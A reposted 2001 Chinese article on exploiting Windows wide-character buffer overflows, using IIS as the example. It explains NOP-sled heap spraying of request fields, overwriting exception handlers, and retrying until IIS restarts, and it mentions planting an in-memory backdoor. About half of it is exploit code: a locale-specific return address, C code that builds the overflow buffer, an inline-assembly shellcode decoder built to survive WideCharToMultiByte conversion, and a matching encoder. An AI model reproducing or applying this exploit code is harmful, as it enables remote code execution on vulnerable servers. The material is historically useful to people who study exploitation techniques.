分享
 
 
 

◆ widechar的字符串缓冲溢出攻击技术

王朝vc·作者佚名  2006-01-08
窄屏简体版  字體: |||超大  

◆ widechar的字符串缓冲溢出攻击技术

作者:yuange < mailto: yuange@nsfocus.com >

主页:http://www.nsfocus.com

日期:2001-7-16

WINDOWS内部基本上是使用的widechar的字符串格式,因为没有进行串长度检测或者错误的以multibyte长度检测等原因,往往会造成缓冲溢出。像eeye发现的.printer的溢出、.ida的溢出其实主要原因都是程序员错误对字符串以multibyte长度做检测,而buff用来处理widechar字符串造成。由于这种溢出的特殊性以及这样的溢出越来越多,所以我们需要讨论widechar形式的缓冲溢出攻击。其实之前遇到很多这种形式的缓冲溢出,对这样的溢出也有了一定的研究,所以基本上已经有了一些攻击方法,与大家一起交流。

对于单字节语言,字符串转换成widechar格式后一般是“\xx\00\xx\00”的形式,所以覆盖后返回地址也将是“\00\xx\00\xx”这种形式,而WINDOWS下\00\xx\xx\xx的地址一般是栈区,很少有dll加载在这个地址范围,所以要在\00\xx\00\xx的地址寻找实现比较通用的跳转指令比较困难。当然如果本身有个可传递的shellcode处在这个区域,又能够直接定位,那就可以直接实现跳转。对于这种攻击,现在还没有稳定的通用的实现方法。不过对于iis,因为开始时请求的很多域放在0x00xxxxxx这个区域里面,所以有个试的方法,就是请求里面的很多域(像url、post域)都用大串空指令加shellcode构成,所幸的是iis默认下对于请求长度限制是0x20000 ,很大,好象还没有包含 post的数据,所以可以构造一个特殊请求,占用大量内存,再溢出串使用 \00\xx\00\xx覆盖,只要这个\00\xx\00\xx刚好是在请求的某个域的空指令代码区域里面,就能成功执行到shellcode。刚开始攻击时,因为有大量请求了,一般请求的各个域都超过\00xxxxxx的地址,所以一般会失败,但win2k下的iis5.0出错后会自动重启动,这时成功几率就比较大了。选取合适的\00\xx\00\xx覆盖返回地址,加上大量的空指令,能够达到50%左右的成功率。shellcode实现代码可以成功后自动在内存里面开个后门,那样没有重启动之前以后的攻击就是100%成功了。

对于双字节语言,字符串转换成widechar格式后就不只是“\xx\00\xx\00”的形式了,基本上与常规的溢出没什么区别,只是要求溢出串要转换成widechar后是正常的溢出攻击串,这就要求先把溢出串作为WideChar的形式经过WideCharToMultiByte转换。但不是所有的串作为WideChar形式经过WideCharToMultiByte转换都合法,所以就先精心编写了一段合法的WideChar串对其它shellcode解码,这就是shellcodefnlock里面的代码,里面连绝对跳转jmp(\xeb不在合法的WideChar范围)指令,过程调用call(后面的数据会出现\00\00或者\ff\ff)都不能用,所以定位都是采用别的方法。因为下面示例代码是采用的异常结构,此时ebx指向shellcode附近,所以如果不是使用异常结构,将是esp指向shellcode附近,shellcodefnlock第一个push ebx指令应该换成push esp,其实也可以两种情况都用push esp。因为异常结构时esp会在ebx之前,但那段shellcode一样会定位到自身。这样对于这种溢出,中(大陆简体中文、台湾的繁体中文)、日、韩三种语言的测试代码都可以保证100%的成功。

想到这个方法了后,主要难度是在编写shellcodefnlock代码上。这需要熟悉cpu指令码范围与WideChar范围,能够用哪些指令,参数范围等。这个代码调试的时候简直是累死了,想很多编码算法,每个算法有哪些实现方法,每个实现方法需要些什么运算,哪些指令,参数等,再一个个试能不能满足要求。不过调试通了就省心了,后来很多程序直接使用的时候就体会到了享受原来成果的乐趣。

下面就是实现代码:

char eipexceptwin2000cn[]="\x73\x67\xfa\x7f";

// push ebx ; ret address 适用于异常结构的跳转

#define FNENDLONG 0x08

char *fnendstr="\x90\x90\x90\x90\x90\x90\x90\x90\x90";

unsigned char temp;

shellcodefnadd=shellcodefnlock;

temp=*shellcodefnadd;

if(temp==0xe9) {

++shellcodefnadd;

k=*(int *)shellcodefnadd;

shellcodefnadd+=k;

shellcodefnadd+=4;

}

for(k=0;k<=0x500;++k){

if(memcmp(shellcodefnadd+k,fnendstr,FNENDLONG)==0) break;

}

/* 定位shellcodefnlock的汇编代码*/

for(i=0;i<=0x10;i+=8){

memcpy(widecharbuff+i,"\x90\x90\x58\x68",4); // 0x58 pop eax, 0x68 push num32

memcpy(widecharbuff+i+4,eipexceptwin2000cn,4);

}

/* 覆盖异常结构,连续覆盖,不需要精确定位,只要8字节对齐覆盖就可以*/

/* 0x58 0x68是为了跳过后面4字节 */

memcpy(widecharbuff+i,shellcodefnadd+k+8,2*wcslen(shellcodefnadd+k));

/* shellcodefnadd+k+8是得到的shellcodefnlock汇编代码地址 */

i=2*wcslen(widecharbuff);

i=WideCharToMultiByte(0x3a8,0,widecharbuff,i,multibytebuff,0x1000,0,0);

i=strlen(multibytebuff);

/* 转换成MultiByte*/

/* 0x3a8 是中文简体的代码页*/

memcpy(buff+OVERADD-OFFSETNUM+offset,multibytebuff,i);

一些变量定义:

#define NOPCODE 0x4e // INC EDX 0x90

#define SHELLDATAW 0x6090

#define SHELLDATAA 0x9090

#define OFFSETNUM 0x8

#define DATABASE 0x61

对shellcode解码代码的汇编代码:

void shellcodefnlock()

{

_asm{

nop

nop

nop

nop

nop

nop

nop

nop

unlockdataw:

nop

push ebx

/* 可以通用 push esp */

pop esi

loopload:

lodsw

cmp ax,0x6099 // SHELLDATA

jnz loopload

push esi

push esi

push esi

pop edi

looplock: lodsw

cmp ax,NOPCODE

jz toshell

nop

sub al,DATABASE

nop

push eax

pop ecx

lodsw

nop

sub al,DATABASE

lea edx,dword ptr [eax+ecx*4+0x70]

lea edx,dword ptr [edx+ecx*4-0x70]

lea edx,dword ptr [edx+ecx*4+0x70]

lea edx,dword ptr [edx+ecx*4-0x70]

push edx

pop eax

/*

temp=shellcodefnadd[j];

buff[OVERADD+offset+2*j]=DATABASE+temp/0x10;

buff[OVERADD+offset+2*j+1]=DATABASE+temp%0x10;

的逆运算,但这儿是双字节形式

就是0xa*0x10+0xb=0xab这么个算法,为了迁就指令范围弄得这么复杂

*/

stosb

jz looplock

jnz looplock

nop

toshell: pop eax

push eax

push eax

push eax

ret

nop

_emit(0x99)

_emit(0x60)

_emit(0x0)

_emit(0x0)

_emit(0x0)

_emit(0x0)

NOP

NOP

NOP

NOP

NOP

NOP

NOP

NOP

}

}

对shellcode编码代码:

unsigned char temp;

for(j=0;j<k;++j){

temp=shellcodefnadd[j];

buff[OVERADD+offset+2*j]=DATABASE+temp/0x10;

buff[OVERADD+offset+2*j+1]=DATABASE+temp%0x10;

}

只要对真实shellcode代码这样编码后,拷贝到buff的WideCharToMultiByte后面就可以了。一般这儿可以一小段代码定位MultiByte形式的shellcode代码,然后跳转执行就可以了,毕竟所有真实代码都这样编码就太长了,很多溢出串也有长度限制。以后要写别的这种形式的溢出程序就只需像写一般溢出程序一样改写这实现跳转的shellcode就是了。

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有